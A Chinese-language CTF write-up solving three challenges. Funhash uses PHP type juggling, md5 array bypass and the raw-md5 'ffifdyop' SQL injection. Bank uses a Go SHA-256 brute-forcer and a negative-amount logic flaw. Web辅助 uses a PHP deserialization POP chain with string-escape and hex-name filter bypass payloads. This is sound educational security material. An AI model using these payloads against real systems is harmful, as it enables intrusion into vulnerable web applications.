前言:
全靠大佬带飞,自己菜的一批,还需继续努力!,把觉得有必要记录的记录一下。
Funhash
<?php
include 'conn.php';
highlight_file("index.php");
//level 1
if ($_GET["hash1"] != hash("md4", $_GET["hash1"]))
{
die('level 1 failed');
}
//level 2
if($_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3']))
{
die('level 2 failed');
}
//level 3
$query = "SELECt * FROM flag WHERe password = '" . md5($_GET["hash4"],true) . "'";
$result = $mysqli->query($query);
$row = $result->fetch_assoc();
var_dump($row);
$result->free();
$mysqli->close();
?>
level 2和level 3都比较常见,这里就不说了,主要是level 1,之前倒是没见过这种的
$_GET["hash1"] != hash("md4", $_GET["hash1"])
需要满足输入的参数经过md4加密后还等于其本身,在外网查资料发现
https://crdx.org/post/hsctf-2019-md5-minus-minus
由于字符串的md4散列不太可能与字符串本身相同,因此可以推测PHP的类型篡改系统可能会被滥用。然后通过暴力破解得到一个值,这个值便可以满足这个条件
0e251288019
所以最终payload为:
http://39.101.177.96/?hash1=0e251288019&hash2[]=1&hash3[]=2&hash4=ffifdyop
得到flag
bank
题目给出了nc的地址,连过去发现
是通过sha256函数加密的而且加盐了,需要输入XXX才能继续,那只有爆破了,但使用普通的用户脚本去爆破这三位非常浪费时间,而且这个程序是限时的,如果在规定的时间内没有完成操作,就会被弹出,所以爆破一定要快,这里用Go语言的脚本
package main
import (
"bytes"
"crypto/sha256"
"encoding/hex"
"fmt"
"runtime"
"sync"
"time"
)
var (
chars = []byte("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890")
tail = []byte("TeEo77GsmzVmVwDip")
result, _ = hex.DecodeString("e1a16f0afb2efee2ffd27f9b34a68236a2dd056abaaeac140b5c68a454c15e46")
wg sync.WaitGroup
)
func sha(s []byte) {
for _, ch1 := range s {
for _, ch2 := range chars {
for _, ch3 := range chars {
head := []byte{ch1, ch2, ch3}
h := sha256.New()
h.Write(head)
h.Write(tail)
if bytes.Equal(h.Sum(nil), result) {
fmt.Println(string(head))
}
}
}
}
wg.Done()
}
func main() {
threads := runtime.NumCPU() // 获取cpu逻辑核心数(包括超线程)
start := time.Now()
snum := len(chars) / threads
sthreads := threads*(1+snum) - len(chars)
wg.Add(threads)
for i := 0; i < threads; i++ {
if i < sthreads {
go sha(chars[snum*i : snum*(i+1)])
} else {
base := snum * sthreads
go sha(chars[base+(snum+1)*(i-sthreads) : base+(snum+1)*(i-sthreads+1)])
}
}
wg.Wait()
end := time.Since(start)
fmt.Println(end)
}
进入输入队伍的token和名字,可以得到以下几个功能
直接获取flag是不行的,必须多余1000元,而目前只有10元,查看hint是AES加密,其他的功能查看也是一堆没用的信息,只有transact这个功能可以输入,就从这个地方进行入手。
发现只是输入名字和数字,就试试看看是否存在逻辑漏洞,输入了负数发现确实存在此漏洞,于是输入lemon1 -992
这样总钱数便超过了1000,便可以获取flag了。
web辅助
题目给出了源码,一共有四个文件,先来看下class.php
。
准备知识:
__construct 当一个对象创建时被调用,
__invoke() 当脚本尝试将对象调用为函数时触发
__destruct() 对象被销毁时触发
__wakeup() 使用unserialize时触发
__toString 当一个对象被当作一个字符串被调用。
private变量序列化后需要在变量名的左右手动添加不可见字符%00
protected变量序列化后需要在变量前的星号*左右手动添加不可见字符,使其成为%00*%00。
class.php
,这个文件便是入手点,要正确构造出pop链输入才能获取到flag
<?php
class player{
protected $user;
protected $pass;
protected $admin;
public function __construct($user, $pass, $admin = 0){
$this->user = $user;
$this->pass = $pass;
$this->admin = $admin;
}
public function get_admin(){
return $this->admin;
}
}
class topsolo{//上单
protected $name;
public function __construct($name = 'Riven'){
$this->name = $name;
}
public function TP(){
if (gettype($this->name) === "function" or gettype($this->name) === "object"){
$name = $this->name;
$name();
}
}
public function __destruct(){
$this->TP();
}
}
class midsolo{//中单
protected $name;
public function __construct($name){
$this->name = $name;
}
public function __wakeup(){
if ($this->name !== 'Yasuo'){
$this->name = 'Yasuo';
echo "No Yasuo! No Soul!\n";
}
}
public function __invoke(){
$this->Gank();
}
public function Gank(){
if (stristr($this->name, 'Yasuo')){
echo "Are you orphan?\n";
}
else{
echo "Must Be Yasuo!\n";
}
}
}
class jungle{//打野
protected $name = "";
public function __construct($name = "Lee Sin"){
$this->name = $name;
}
public function KS(){
system("cat /flag");
}
public function __toString(){
$this->KS();
return "";
}
}
?>
审计代码发现,想要的flag并不在魔法函数中,而是在jungle类中的一个普通函数,所以这里就是终点,从输入开始最终要触发__toString才能获取到flag。
由上往下分析,topsolo类中将对象调用为函数,所以在new一个新对象的时候可以new midsolo类的对象,这样就触发了midsolo类中的__invoke魔法函数
接下来midsolo类再new一个jungle类的对象,因为stristr函数将对象当作字符串调用,所以触发了jungle类中的魔法函数__toString,这样便可以得到完整的pop链了。
执行顺序:
topsolo:__destruct->midsolo:__invoke()->jungle:__toString
如果不直观的话可以看下图(转自星盟安全)
POP链的构造
<?php
class topsolo{
protected $name;
public function __construct(){
$this->name = new midsolo();
}
}
class midsolo{
protected $name;
public function __construct($name){
$this->name = new jungle();
}
}
class jungle{
protected $name = "";
public function __construct($name = "Lee Sin"){
$this->name = $name;
}
}
$shy = new topsolo();
echo serialize($shy);
?>
序列化结果为:
O:7:"topsolo":1:{s:7:"*name";O:7:"midsolo":1:{s:7:"*name";O:6:"jungle":1:{s:7:"*name";s:7:"Lee Sin";}}}
因为protected变量序列化后需要手动星号*左右手动添加不可见字符,使其成为%00*%00,所以最终的结果为:
O:7:"topsolo":1:{s:7:"%00*%00name";O:7:"midsolo":1:{s:7:"%00*%00name";O:6:"jungle":1:{s:7:"%00*%00name";s:7:"Lee Sin";}}}
这样获取flag的POP链构造好了,接下来就看要怎么运用了,继续观察代码。
在index.php
中,发现源码对player
类进行反序列化并写入文件中
那便对player类进行序列化操作
<?php
class player{
protected $user;
protected $pass;
protected $admin;
public function __construct($user, $pass, $admin = 0){
$this->user = $user;
$this->pass = $pass;
$this->admin = $admin;
}
public function get_admin(){
return $this->admin;
}
}
$shy =new player();
echo serialize($shy);
?>
序列化后的结果:
O:6:"player":3:{s:7:"%00*%00user";N;s:7:"%00*%00pass";N;s:8:"%00*%00admin";i:0;}
在play.php
中,调用该文件,并通过检查后读取文件最后进行反序列化操作
前面的都是正常的写入和读取没有什么明显的问题,最后再来看下common.php
文件
发现存在反序列化字符串逃逸漏洞,因为过滤后字符变少
,在写入的时候是五个字符\0*\0
,但当读取的时候却变成了chr(0)*chr(0)
三个字符,所以吃掉了两个字符。
原理这里就不再详细解释了,下面就开始进行构造
因为源码中只对player类进行反序列化,所以我们要利用字符串逃逸漏洞将POP链给添加进去
O:7:"topsolo":1:{s:7:"%00*%00name";O:7:"midsolo":1:{s:7:"%00*%00name";O:6:"jungle":1:{s:7:"%00*%00name";s:7:"Lee Sin";}}}
因为%00是一个字符,而不是3个,所以POP链的长度为109
,如果直接将POP链输入的话
输入的部分就进入了pass中,所以就要思考怎么将原来的这一部分给吃掉";s:7:"%00*%00pass";s:109:"
长度为23,因为每次替换会减少2个字符,因此需要替换11.5次,但不可能会替换11.5次的,所以要再添加一个字符,成24个字符";s:7:"%00*%00pass";s:109:"1
,这样前面只要替换12次,这个原来password就要进入到user中,而我们构造的就会代替之前的password.
所以payload为
username=lemon\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0
&password=1";s:7:"%00*%00pass";s:109:"1O:7:"topsolo":1:{s:7:"%00*%00name";O:7:"midsolo":1:{s:7:"%00*%00name";O:6:"jungle":1:{s:7:"%00*%00name";s:7:"Lee Sin";}}}";s:8:"%00*%00admin";i:0;}
但是这样的payload还是错的,因为源码中 check 函数过滤了关键字 name,
将序列化字符串中表示变量(名)为字符串的小写 s 换为大写 S
,即可解析变量中的 16 进制\6e\61\6d\65
(即 name)。
除此之外,还需要跳过
这个魔法函数,
所以最终的payload为
?username=lemon\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0
&password=1";S:7:"%00*%00pass";O:7:"topsolo":1:{S:7:"%00*%00\6e\61\6d\65";O:7:"midsolo":2:{S:7:"%00*%00\6e\61\6d\65";O:6:"jungle":1:{s:7:"%00*%00\6e\61\6d\65";s:7:"Lee Sin";}}};S:8:"%00*%00admin";i:0;}
传入到index.php,再查看play.php即可获取到flag(这里是赛后qwzf大佬搭建的环境)
另外一个payload,把多的一位放在前面也可以
?username=lemon\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\01&password=;s:7:"%00*%00pass";O:7:"topsolo":1:{S:7:"%00*%00\6e\61\6d\65";O:7:"midsolo":2:{S:7:"%00*%00\6e\61\6d\65";O:6:"jungle":1:{s:7:"%00*%00\6e\61\6d\65";s:7:"Lee Sin";}}};S:8:"%00*%00admin";i:0;}
总结:
通过这次比赛学到很多东西,尤其是反序列化字符串逃逸,感谢qwzf大佬的耐心解答,继续冲冲冲!